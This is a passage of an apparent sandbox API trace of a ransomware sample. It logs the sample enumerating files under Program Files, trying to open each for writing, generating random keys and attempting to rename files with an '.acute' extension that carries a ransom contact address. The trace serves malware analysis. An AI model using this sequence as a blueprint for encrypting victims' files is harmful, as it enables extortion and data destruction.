hTemplateFile=0x0) returned 0x30c [0274.081] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=1469358) returned 1 [0274.081] CloseHandle (hObject=0x30c) returned 1 [0274.081] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its")) returned 0x20 [0274.081] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.081] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.081] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.082] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.082] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=229888) returned 1 [0274.082] CloseHandle (hObject=0x30c) returned 1 [0274.082] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.dll")) returned 0x20 [0274.082] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.082] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.082] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.082] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.083] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=840364) returned 1 [0274.083] CloseHandle (hObject=0x30c) returned 1 [0274.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its")) returned 0x20 [0274.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.083] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.083] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.083] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.084] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=616960) returned 1 [0274.084] CloseHandle (hObject=0x30c) returned 1 [0274.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex")) returned 0x20 [0274.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.084] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.084] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.084] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.084] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=2120459) returned 1 [0274.084] CloseHandle (hObject=0x30c) returned 1 [0274.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex")) returned 0x20 [0274.084] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0274.084] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex")) returned 0 [0274.084] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.084] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.085] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=1536) returned 1 [0274.085] CloseHandle (hObject=0x30c) returned 1 [0274.085] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex")) returned 0x20 [0274.085] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.085] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.085] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.085] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1core.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.085] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=178576) returned 1 [0274.086] CloseHandle (hObject=0x30c) returned 1 [0274.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1core.dll")) returned 0x20 [0274.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1core.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.086] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1core.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.086] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.086] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1star.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.086] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=266096) returned 1 [0274.086] CloseHandle (hObject=0x30c) returned 1 [0274.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1star.dll")) returned 0x20 [0274.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1star.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.086] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1star.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.086] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.086] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1xtor.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.087] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=70544) returned 1 [0274.087] CloseHandle (hObject=0x30c) returned 1 [0274.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1xtor.dll")) returned 0x20 [0274.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1xtor.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.087] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1xtor.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.087] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.087] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\wtsp61ms.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.087] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=221184) returned 1 [0274.087] CloseHandle (hObject=0x30c) returned 1 [0274.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\wtsp61ms.dll")) returned 0x20 [0274.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\wtsp61ms.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.088] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\wtsp61ms.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.088] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.088] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbe7intl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.094] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=154960) returned 1 [0274.094] CloseHandle (hObject=0x30c) returned 1 [0274.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbe7intl.dll")) returned 0x20 [0274.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbe7intl.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.097] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbe7intl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.097] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.097] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.122] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=3675976) returned 1 [0274.122] CloseHandle (hObject=0x37c) returned 1 [0274.122] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll")) returned 0x20 [0274.122] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0274.122] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll")) returned 0 [0274.123] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.123] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.198] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=855376) returned 1 [0274.201] CloseHandle (hObject=0x30c) returned 1 [0274.207] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll")) returned 0x20 [0274.212] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia90.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.217] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.219] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.219] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.280] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=7168) returned 1 [0274.283] CloseHandle (hObject=0x30c) returned 1 [0274.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui")) returned 0x20 [0274.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.307] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.317] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.317] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Parity.fx" (normalized: "c:\\program files\\dvd maker\\shared\\parity.fx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.317] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=36575) returned 1 [0274.317] CloseHandle (hObject=0x37c) returned 1 [0274.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Parity.fx" (normalized: "c:\\program files\\dvd maker\\shared\\parity.fx")) returned 0x20 [0274.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Parity.fx.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\parity.fx.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.318] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Parity.fx" (normalized: "c:\\program files\\dvd maker\\shared\\parity.fx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.319] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.319] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\sonicsptransform.ax" (normalized: "c:\\program files\\dvd maker\\sonicsptransform.ax"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0274.319] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=51712) returned 1 [0274.319] CloseHandle (hObject=0x308) returned 1 [0274.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\sonicsptransform.ax" (normalized: "c:\\program files\\dvd maker\\sonicsptransform.ax")) returned 0x20 [0274.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\sonicsptransform.ax.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\sonicsptransform.ax.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.319] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\sonicsptransform.ax" (normalized: "c:\\program files\\dvd maker\\sonicsptransform.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.381] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.381] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.381] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=2560) returned 1 [0274.381] CloseHandle (hObject=0x37c) returned 1 [0274.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui")) returned 0x20 [0274.382] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.382] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui"), 